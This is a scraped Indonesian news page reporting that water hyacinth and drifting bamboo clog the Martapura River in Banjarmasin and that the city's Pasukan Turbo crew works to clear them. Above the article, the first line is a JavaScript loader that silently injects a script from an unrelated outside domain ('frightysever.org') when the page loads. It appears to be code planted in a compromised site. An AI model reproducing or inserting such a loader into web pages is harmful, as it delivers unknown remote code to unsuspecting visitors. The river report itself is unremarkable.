(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sungai Martapura ‘Dipadati’ Ilung, Pasukan Turbo Turun Tangan


BANJARMASIN, Sungai Martapura mulai dipadati oleh eceng gondok, atau dalam bahasa Banjar disebut dengan “ilung”.

Informasi yang didapat, ilung telah mengepung Sungai Martapura di bawah Jembatan Sudimampir sejak Rabu (1/1) sore. Sedangkan pada Kamis (2/1) pagi, tumpukan ilung semakin banyak dan menghalangi arus sungai.

Pantauan Kanalkalimantan.com, Kamis (2/1) pagi, puluhan pasukan Turbo tengah berupaya membersihkan ilung yang menumpuk di tengah badan sungai Martapura. Hal ini dilakukan guna memperlancar arus lalu lintas transportasi air yang kerap kali melintas.

“Ilungnya datang dari arah hulu,” kata Zaini, warga sekitar saat ditemui, Kamis (2/1).

Ditambahkannya, awal mulanya tumpukan ilung bermula dari sisi ujung jembatan Sudimampir atau dekat Mitra Plaza. “Setelah itu tertumpuk semua, karena ada bambu-bambu yang ikut mengalir,” tandasnya.

Sementara ditemui di lokasi, Kepala Pasukan Turbo Dinas PUPR Kota Banjarmasin, Muhammad Syamsudin HS menuturkan, untuk membersihkan tumpukan ilung ini, timnya menerjunkan sedikitnya 57 personel. Menurutnya, tumpukan ilung ini bersifat dadakan, sehingga pihaknya menerjunkan personel dengan jumlah seadanya.

“Setiap tahun juga seperti ini, perkiraan 10 hingga 12 kali, yang tersumbat di Jembatan Pasar Lama maupun Jembatan Sudimampir,” kata Syamsudin.

Tumpukan ilung sendiri, dibersihkan sesegera mungkin, agar aliran Sungai Martapura menjadi lancar dan tidak menghambat arus lalu lintas transportasi air. Diakuinya, volume tumpukan sampah cukup besar, sehingga pihaknya hanya menghanyutkannya ke sisi badan sungai yang tidak terkena tumpukan ilung.

“Tumpukan ini dihanyutkan saja. Karena volume sampah ini benar-benar luar biasa. Terutama ilung maupun bambu-bambu,” jelasnya.

Diperkirakan, pembersihan ilung ini memakan waktu hingga 4 jam. Diakuinya, kendala dalam membersihkan tumpukan ilung ini, lantaran banyaknya tumpukan bambu ditambah ilung yang di luar perkiraan Pasukan Turbo.

Diakuinya pula, Kapal Sapu-sapu tak mampu berdaya menghadapi banyaknya volume tumpukan sampah ini. “Iya, (tumpukan sampah ini) di luar kemampuan kapal Sapu-sapu,” sebutnya.

Tumpukan ilung dan bambu sendiri, diperkirakan berasal dari kabupaten tetangga, seperti Kabupaten Banjar dan Barito Kuala. Bahkan diakui Syamsudin, tumpukan bambu berasal dari Kabupaten Hulu Sungai Selatan (HSS) yang ikut hanyut terbawa arus sungai. “Kalau tumpukan bambu ini banyak dari Kandangan yang biasa digunakan untuk lanting,” tandasnya. (fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

7 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

10 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

10 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

12 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

14 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

15 jam ago

This website uses cookies.